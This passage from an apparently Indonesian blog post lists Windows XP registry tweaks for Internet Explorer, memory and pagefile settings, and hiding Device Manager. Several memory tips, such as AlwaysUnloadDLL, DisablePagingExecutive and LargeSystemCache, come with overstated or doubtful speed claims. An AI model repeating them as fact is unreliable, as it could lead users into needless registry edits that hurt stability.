Klik ganda FullScreen dan masukkan teks Yes pada Value Data.


  • Mengganti Title Internet Explorer

HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main
Pilih menu Edit > New > String Value dan beri nama Window Title.
Klik ganda Window Title dan masukkan teks yang diinginkan pada Value Data.


  • Membersihkan Daftar URL Pada Internet Explorer

HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/TypedURLs
Hapus value url1, url2 dan seterusnya dengan menekan tombol Del.


  • Menyembunyikan Tombol Go Pada Internet Explorer

HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main
Pilih menu Edit > New > String Value dan beri nama ShowGoButton.
Klik ganda ShowGoButton dan masukkan angka 0 pada Value Data.


  • Mengganti Nama Ikon Internet Explorer

HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre
ntVersion\Explorer\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}
Klik ganda pada value (Default) disamping kanan, masukkan teks yang diinginkan pada Value Data.


  • Menambahkan Domain .Gov Pada Pencarian Website

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Internet Explorer/Main/UrlTemplate
Pilih Edit > New > String Value dan beri nama dengan angka yang merupakan kelanjutan dari angka-angka yang sudah ada.
Klik ganda pada value tersebut dan ketik %s.gov pada Value Data.


  • Tweaking Memory Pada Windows XP


  1. HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Session Manager/Memory Management
  2. Klik ganda pada DisablePagingExecutive dan masukkan angka 1 pada Value Data.
  3. Apabila diaktifkan,Windows tidak akan melakukan paging file ke dalam hard disk. Sistem operasi dan program-program menjadi lebih responsif. Disarankan untuk komputer yang memiliki memori lebih dari 128MB.
  4. Klik ganda pada LargeSystemCache dan masukkan angka 1 pada Value Data.
  5. Jika diaktifkan, sistem akan mengalokasikan seluruh memori (kecuali 4 MB untuk disk caching) untuk file caching. Komputer akan melakukan caching kernel XP di dalam memory sehingga Windows XP dapat berjalan lebih cepat.



  • Unload .dll Untuk Mempercepat Akses Memori

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Pilih menu Edit > New > Key dan beri nama AlwaysUnloadDLL.
Pada option Default Value masukkan angka 1.


  • Menghapus Pagefile Saat Shut Down

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\Session Manager\Memory Management
Klik ganda ClearPageFileAtShutdown dan masukkan angka 1 pada Value Data.


  • Memindahkan Pagefile

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/SessionManager/Memory Management
Klik ganda PagingFiles kemudian ganti path ke lokasi baru yang
diinginkan. Misalnya: D:\pagefile.sys 1024 1024


  • Mengembalikan Fungsi Search Kedalam Tampilan Lama

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/CabinetState
Pilih menu Edit > New > String Value dan beri nama UseSearchAsst.
Klik ganda UseSearchAsst dan masukkan angka 1 pada Value Data.


  • Menyembunyikan Device Manager

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies
Pilih menu Edit > New > Key dan beri nama System.
Di subkey System buatlah sebuah DWORD Value baru dan beri nama NoDevMgrPage.
Klik ganda NoDevMgrPage dan masukkan angka 1 pada Value Data.


TIPS DAN TRIK INI SEBAGIAN HANYA BERLAKU UNTUK WINDOWS XP TAPI MUNGKIN SAJA BISA JUGA UNTUK VERSI LAINYA.



Sekian postingan kali ini.. semoga bermanfaat.
Sumber : Google

Wassalamu'alaikum Wr.Wb.